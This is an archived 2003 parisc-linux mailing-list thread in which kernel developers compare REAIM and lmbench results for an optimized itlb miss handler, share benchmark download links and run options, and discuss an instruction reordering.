# with new itlb stuff I got following results

REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
1       32.72    6.17    4.42    177.87     177.87     0.00     0.00    
100  
2       33.16    10.19   9.13    351.03     175.51     0.30     0.90    
99   
3       37.01    14.71   13.94   471.76     157.25     0.04     0.12    
99   
4       43.87    19.44   18.61   530.66     132.66     1.46     3.43    
96   
5       49.55    24.26   23.08   587.29     117.46     1.79     3.76    
96   
6       57.60    28.08   27.99   606.25     101.04     1.33     2.36    
97   
7       67.86    33.32   32.46   600.35     85.76      1.82     2.73    
97   
8       77.51    37.77   37.58   600.70     75.09      1.01     1.32    
98   
9       86.11    41.69   42.05   608.29     67.59      1.21     1.42    
98   
10      96.33    47.01   46.67   604.17     60.42      1.59     1.67    
98   
Max sustained jobs reached
Max Jobs per Minute 608.29
REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
1       32.58    6.11    4.32    178.64     178.64     0.00     0.00    
100  
2       31.60    10.16   9.02    368.35     184.18     0.55     1.79    
98   
3       35.51    14.90   13.48   491.69     163.90     1.40     4.09    
95   
4       40.54    19.56   18.50   574.25     143.56     1.51     3.90    
96   
5       49.35    24.16   23.72   589.67     117.93     1.07     2.20    
97   
6       58.16    28.60   27.88   600.41     100.07     1.64     2.91    
97   
7       67.67    33.38   32.62   602.04     86.01      0.48     0.71    
99   
8       78.01    37.71   37.75   596.85     74.61      1.06     1.38    
98   
9       87.46    43.28   41.86   598.90     66.54      1.30     1.51    
98   
Max sustained jobs reached
Max Jobs per Minute 602.04
REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
1       32.27    5.60    4.56    180.35     180.35     0.00     0.00    
100  
2       33.02    10.50   9.03    352.51     176.26     0.55     1.68    
98   
3       33.39    15.14   13.68   522.91     174.30     0.54     1.66    
98   
4       39.93    19.55   18.46   583.02     145.76     0.66     1.69    
98   
5       50.01    24.32   23.12   581.88     116.38     1.67     3.46    
96   
6       58.70    28.73   28.27   594.89     99.15      0.42     0.72    
99   
7       66.99    32.31   32.78   608.15     86.88      1.50     2.28    
97   
8       76.04    37.00   37.12   612.31     76.54      0.74     0.99    
99   
9       86.42    42.29   41.68   606.11     67.35      0.93     1.09    
98   
10      96.15    45.99   46.82   605.30     60.53      1.43     1.51    
98   
Max sustained jobs reached
Max Jobs per Minute 612.31

# with the original itlb

REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
1       32.37    5.79    4.42    179.80     179.80     0.00     0.00    
100  
2       33.28    10.07   9.33    349.76     174.88     0.06     0.20    
99   
3       36.37    15.30   13.73   480.07     160.02     0.21     0.58    
99   
4       41.49    19.60   18.37   561.10     140.27     2.15     5.38    
94   
5       49.21    24.03   23.40   591.34     118.27     1.26     2.62    
97   
6       59.48    29.56   27.85   587.09     97.85      2.44     4.26    
95   
7       68.38    32.96   32.47   595.79     85.11      0.96     1.43    
98   
8       76.53    36.48   37.74   608.39     76.05      2.08     2.80    
97   
9       86.39    41.80   41.91   606.32     67.37      0.86     1.01    
98   
10      95.58    45.96   46.90   608.91     60.89      1.24     1.31    
98   
11      104.80   50.56   51.60   610.88     55.53      1.21     1.17    
98   
Max sustained jobs reached
Max Jobs per Minute 610.88
REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
1       32.05    5.66    4.47    181.59     181.59     0.00     0.00    
100  
2       33.90    10.52   9.13    343.36     171.68     0.45     1.35    
98   
3       38.53    14.55   13.84   453.15     151.05     0.44     1.16    
98   
4       40.38    18.64   18.49   576.52     144.13     0.54     1.35    
98   
5       48.82    23.39   23.26   596.07     119.21     1.71     3.62    
96   
6       58.57    28.88   28.01   596.21     99.37      0.63     1.08    
98   
7       67.80    32.98   32.77   600.88     85.84      2.61     3.98    
96   
8       76.49    36.85   37.50   608.71     76.09      1.14     1.51    
98   
9       87.04    42.31   42.12   601.79     66.87      2.82     3.31    
96   
Max sustained jobs reached
Max Jobs per Minute 608.71
REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
1       32.54    5.63    4.59    178.86     178.86     0.00     0.00    
100  
2       33.68    10.74   9.00    345.61     172.80     0.32     0.97    
99   
3       35.66    14.41   13.98   489.62     163.21     1.46     4.26    
95   
4       42.70    19.24   18.43   545.20     136.30     2.18     5.35    
94   
5       49.30    23.86   23.33   590.26     118.05     1.31     2.78    
97   
6       57.14    27.50   28.11   611.13     101.86     1.56     2.81    
97   
7       66.99    31.90   33.07   608.15     86.88      0.70     1.06    
98   
8       77.60    37.64   37.46   600.00     75.00      0.99     1.31    
98   
9       85.76    41.25   42.08   610.77     67.86      1.50     1.78    
98   
10      97.18    47.80   46.20   598.89     59.89      1.48     1.56    
98   
 Job rate dropping avg: 605.79 loss pct: 1.14
Max Jobs per Minute 611.13

AND

./reaim -q -t -f worfile.shared -r3

# with new itlb stuff I got following results

REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
1       32.83    6.03    4.51    177.28     177.28     0.00     0.00    
100  
2       33.20    10.88   8.84    350.60     175.30     0.67     2.06    
97   
3       35.94    15.23   13.87   485.81     161.94     1.20     3.47    
96   
4       43.43    19.65   18.23   536.03     134.01     1.01     2.37    
97   
5       49.43    24.33   23.21   588.71     117.74     0.62     1.27    
98   
6       58.17    28.72   27.79   600.31     100.05     1.12     1.96    
98   
7       66.74    32.72   32.14   610.43     87.20      1.95     2.98    
97   
8       77.11    37.67   37.27   603.81     75.48      1.41     1.86    
98   
9       86.75    42.45   41.75   603.80     67.09      0.95     1.11    
98   
10      95.95    46.78   46.57   606.57     60.66      1.09     1.16    
98   
11      105.20   50.86   51.51   608.56     55.32      1.72     1.66    
98   
Crossover achieved
Max Jobs per Minute 610.43
REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
1       32.73    6.28    4.47    177.82     177.82     0.00     0.00    
100  
2       33.55    10.97   8.96    346.94     173.47     0.24     0.74    
99   
3       34.55    15.24   13.70   505.35     168.45     1.20     3.58    
96   
4       40.15    19.14   18.33   579.83     144.96     0.88     2.22    
97   
5       49.94    24.48   23.26   582.70     116.54     1.00     2.05    
97   
6       60.80    28.86   27.50   574.34     95.72      0.81     1.35    
98   
7       67.28    33.01   32.08   605.53     86.50      1.47     2.24    
97   
8       77.15    37.59   37.02   603.50     75.44      1.37     1.80    
98   
9       85.40    40.94   42.18   613.35     68.15      1.75     2.09    
97   
10      95.15    45.89   46.72   611.67     61.17      1.11     1.19    
98   
11      104.86   50.49   51.54   610.53     55.50      1.49     1.44    
98   
Crossover achieved
Max Jobs per Minute 613.35
REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
1       33.13    6.50    4.44    175.67     175.67     0.00     0.00    
100  
2       32.23    10.82   8.89    361.15     180.58     0.23     0.72    
99   
3       35.72    15.39   13.76   488.80     162.93     2.12     6.37    
93   
4       42.04    20.43   18.52   553.76     138.44     3.55     8.94    
91   
5       49.50    24.03   23.06   587.88     117.58     2.50     5.26    
94   
6       57.70    27.79   28.01   605.20     100.87     1.45     2.60    
97   
7       67.37    32.72   32.59   604.72     86.39      0.68     1.03    
98   
8       76.52    36.82   37.57   608.47     76.06      0.90     1.19    
98   
9       86.14    42.06   41.87   608.08     67.56      0.87     1.03    
98   
10      96.24    47.16   46.63   604.74     60.47      1.62     1.72    
98   
11      105.27   51.04   51.32   608.15     55.29      1.29     1.23    
98   
Crossover achieved
Max Jobs per Minute 608.47

# with the original itlb


REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
1       32.35    5.94    4.50    179.91     179.91     0.00     0.00    
100  
2       31.31    10.80   9.27    371.77     185.88     0.40     1.29    
98   
3       34.63    15.23   13.94   504.19     168.06     0.25     0.74    
99   
4       40.22    18.84   18.58   578.82     144.70     1.07     2.74    
97   
5       48.83    23.89   23.31   595.95     119.19     0.84     1.76    
98   
6       58.67    28.74   28.11   595.19     99.20      1.96     3.46    
96   
7       68.28    32.71   33.19   596.66     85.24      1.02     1.52    
98   
8       77.41    37.61   37.58   601.47     75.18      0.76     1.00    
99   
9       86.21    41.55   42.28   607.59     67.51      1.44     1.71    
98   
10      95.30    45.91   46.78   610.70     61.07      1.46     1.56    
98   
11      106.35   51.52   51.38   601.97     54.72      0.82     0.78    
99   
Crossover achieved
Max Jobs per Minute 610.70
REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
1       32.33    5.88    4.46    180.02     180.02     0.00     0.00    
100  
2       31.53    10.07   9.19    369.17     184.59     0.38     1.20    
98   
3       35.76    14.74   14.01   488.26     162.75     1.13     3.23    
96   
4       41.04    19.34   18.52   567.25     141.81     1.47     3.70    
96   
5       49.68    24.37   23.11   585.75     117.15     1.32     2.72    
97   
6       58.14    27.69   28.40   600.62     100.10     0.64     1.12    
98   
7       68.26    33.09   33.00   596.84     85.26      0.87     1.30    
98   
8       77.46    37.61   37.39   601.08     75.14      0.85     1.11    
98   
9       86.90    42.44   42.03   602.76     66.97      1.51     1.76    
98   
10      95.84    46.22   46.81   607.26     60.73      1.11     1.18    
98   
11      106.16   51.65   51.22   603.05     54.82      1.32     1.26    
98   
Crossover achieved
Max Jobs per Minute 607.26
REAIM Workload
Times are in seconds - Child times from tms.cstime and tms.cutime

Num     Parent   Child   Child  Jobs per   Jobs/min/  Std_dev  Std_dev  JTI
Forked  Time     SysTime UTime   Minute     Child      Time     Percent 
1       32.64    5.95    4.62    178.31     178.31     0.00     0.00    
100  
2       32.83    10.56   9.20    354.55     177.28     0.27     0.83    
99   
3       36.69    15.87   13.83   475.88     158.63     0.15     0.41    
99   
4       40.89    19.04   18.71   569.33     142.33     0.21     0.51    
99   
5       49.90    23.61   23.39   583.17     116.63     0.60     1.22    
98   
6       59.07    28.39   28.51   591.16     98.53      1.77     3.09    
96   
7       67.94    32.63   32.75   599.65     85.66      1.05     1.58    
98   
8       76.17    36.23   37.74   611.26     76.41      3.08     4.15    
95   
9       86.15    41.37   42.21   608.01     67.56      0.97     1.14    
98   
10      95.27    46.00   46.57   610.90     61.09      1.29     1.37    
98   
11      105.61   51.56   51.21   606.19     55.11      0.79     0.76    
99   
Crossover achieved
Max Jobs per Minute 611.26

===========================

(Carlos, I have no really clue about bench, so if you find some other test
that will better respond to your expectations, do not hesitate ... I will
try to do my best :) )

Joel



-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Wed, 13 Aug 2003 09:57:54 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <20030813155754.GC18794@dsl2.external.hp.com>
References: <20030812160612.GF20514@dsl2.external.hp.com> <3F29178A00002DBE@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622678 29402 80.91.229.3 (22 Nov 2014 02:17:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 09:57:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A1ABA482D; Wed, 13 Aug 2003 09:57:54 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F29178A00002DBE@ocpmta7.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19196

On Tue, Aug 12, 2003 at 07:06:44PM +0200, Joel Soete wrote:
> >
> >osdl-aim-7 benchmark probably stresses both itlb and dtlb.
> >(available from osdl.org - URL is in linux-ia64 archive)
> 
> Ok I finaly find it as re-aim-7 sf.net project.

I also pulled bits from sf.net for ia64 testing:
    http://umn.dl.sourceforge.net/sourceforge/re-aim-7/reaim-0.1.8.tar.gz

though I know the maintainer planed to change the name since then:
| Apoligies, the naming was not good.
| I'll attempt to change it. ( i like osdl-aim-7 )
| In the meantime, you can also get the source from
| 
| bk://developer.osdl.org/reaim
| cliffw


> Just launch (alltest) with
> kernel-64bits+ C.patch . I will let run for the night and relaunch it with
>  tommorrow morning with original kernel-64bits.

I was told to run with:
iota:/mnt# reaim -f /mnt/usr/local/share/reaim/workfile.new_dbase -s100 -e 500 -i 100

You might need to pick -s and -e values that are more appropriate for
the machine under test. This was for dual CPU 900Mz rx2600 with 2GB RAM.

hth,
grant



From - Thu Nov 08 21:28:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Wed, 13 Aug 2003 11:56:05 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20030813155605.GF17512@systemhalted>
References: <20030812160612.GF20514@dsl2.external.hp.com> <3F28D76600003759@ocpmta4.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622679 29418 80.91.229.3 (22 Nov 2014 02:17:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 09:58:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59C91482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Aug 2003 09:58:52 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19mxyn-0001SC-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Aug 2003 11:56:05 -0400
Content-Disposition: inline
In-Reply-To: <3F28D76600003759@ocpmta4.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (69% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19197

> Well I finaly find it on sf.net (via osdl.org)
> And submit some bench which seems to be more in relation with vm (?):
> ./reaim -x -t -f worfile.shared -r3

Thanks for that run Joel, I'll take a look at the numbers in a few
minutes. Adding to that here is the lmbench results (urls) for both
the non-optimized and optimized cases of the itlb fault handler.

It seems that some things got faster, or rather more predictably fast
within the confidence levels (e.g. number of tests that I ran).

I ran 10 lmbench run's for each of the two kernels and then munged them
using the stat-summary script provided with lmbench. Do the diff to see
the numbers change :)

Looks like we have better performance in many places.

null call, null i/o, stat, open/close, select, signal install, signal
catch, exec, shell proc, (a variety of the process spawning tests),
create, delete, mmap latency, page fault (way down! and deterministic)
-- All got better with itlb branch prediction optimization

Please give it a double check to make sure I'm not out of it this
morning.

http://www.baldric.uwo.ca/~carlos/itlb-opt.txt
http://www.baldric.uwo.ca/~carlos/no-itlb-opt.txt

c.



From - Thu Nov 08 21:28:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Wed, 13 Aug 2003 12:05:32 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20030813160532.GG17512@systemhalted>
References: <20030812160612.GF20514@dsl2.external.hp.com> <3F28D76600003759@ocpmta4.freegates.net> <20030813155605.GF17512@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622679 29420 80.91.229.3 (22 Nov 2014 02:17:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 10:08:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id CED74482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Aug 2003 10:08:17 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19my7w-0001TO-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Aug 2003 12:05:32 -0400
Content-Disposition: inline
In-Reply-To: <20030813155605.GF17512@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (69% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19198

> Thanks for that run Joel, I'll take a look at the numbers in a few
> minutes. Adding to that here is the lmbench results (urls) for both
> the non-optimized and optimized cases of the itlb fault handler.

I forgot that lamont noticed an interlocked zdep in the PA11 common case
and we reorderd the insn sequence. Perhaps this helped the numbers a
bit. I have to run the same lmbench tests on a 64-bit box first to
compare.

c.



From - Thu Nov 08 21:28:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Wed, 13 Aug 2003 18:38:06 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <3F28D766000037C3@ocpmta4.freegates.net>
References: <20030813155754.GC18794@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622679 29428 80.91.229.3 (22 Nov 2014 02:17:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 10:38:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4998D482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Aug 2003 10:38:08 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19mya1-00019U-00; Wed, 13 Aug 2003 18:34:33 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 13 Aug 2003 18:38:06 +0200
In-Reply-To: <20030813155754.GC18794@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19199

>I also pulled bits from sf.net for ia64 testing:
>    http://umn.dl.sourceforge.net/sourceforge/re-aim-7/reaim-0.1.8.tar.gz

I will also catch it


>I was told to run with:
>iota:/mnt# reaim -f /mnt/usr/local/share/reaim/workfile.new_dbase -s100
-e 500 > -i 100

>You might need to pick -s and -e values that are more appropriate for
>the machine under test. This
> was for dual CPU 900Mz rx2600 with 2GB RAM.

That is also what I just read on a bench on lwn :) 

I will adapt

Thanks,
    Joel

-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Wed, 13 Aug 2003 18:43:27 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3F28D766000037C6@ocpmta4.freegates.net>
References: <20030813160532.GG17512@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622680 29430 80.91.229.3 (22 Nov 2014 02:18:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:00 +0000 (UTC)
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 10:43:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1CF4D482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Aug 2003 10:43:30 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19myg6-0001mp-00; Wed, 13 Aug 2003 18:40:50 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 13 Aug 2003 18:43:27 +0200
In-Reply-To: <20030813160532.GG17512@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19200

>I forgot that lamont noticed an interlocked zdep in the PA11 common case

hmm what is an interlock? (just to complet my knowledge)

>and we reorderd the insn sequence. Perhaps this helped the numbers a
>bit. 
If I well understand reverse the zdep move in the code?
(I would play just a bit more with different bench)

>I have to run the same lmbench tests on a 64-bit box first to
>compare.

Nice I hope that will confirm lmbench results :)

Joel


-------------------------------------------------------------------------
Tiscali ADSL, seulement 35 eur/mois et le modem est inclus...abonnez-vous!
http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] itlb miss handler optimizations!
Date: Wed, 13 Aug 2003 10:51:55 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20030813165155.GE18794@dsl2.external.hp.com>
References: <20030813160532.GG17512@systemhalted> <3F28D766000037C6@ocpmta4.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622680 29436 80.91.229.3 (22 Nov 2014 02:18:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 13 10:51:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 93F33482D; Wed, 13 Aug 2003 10:51:55 -0600 (MDT)
Content-Disposition: inline
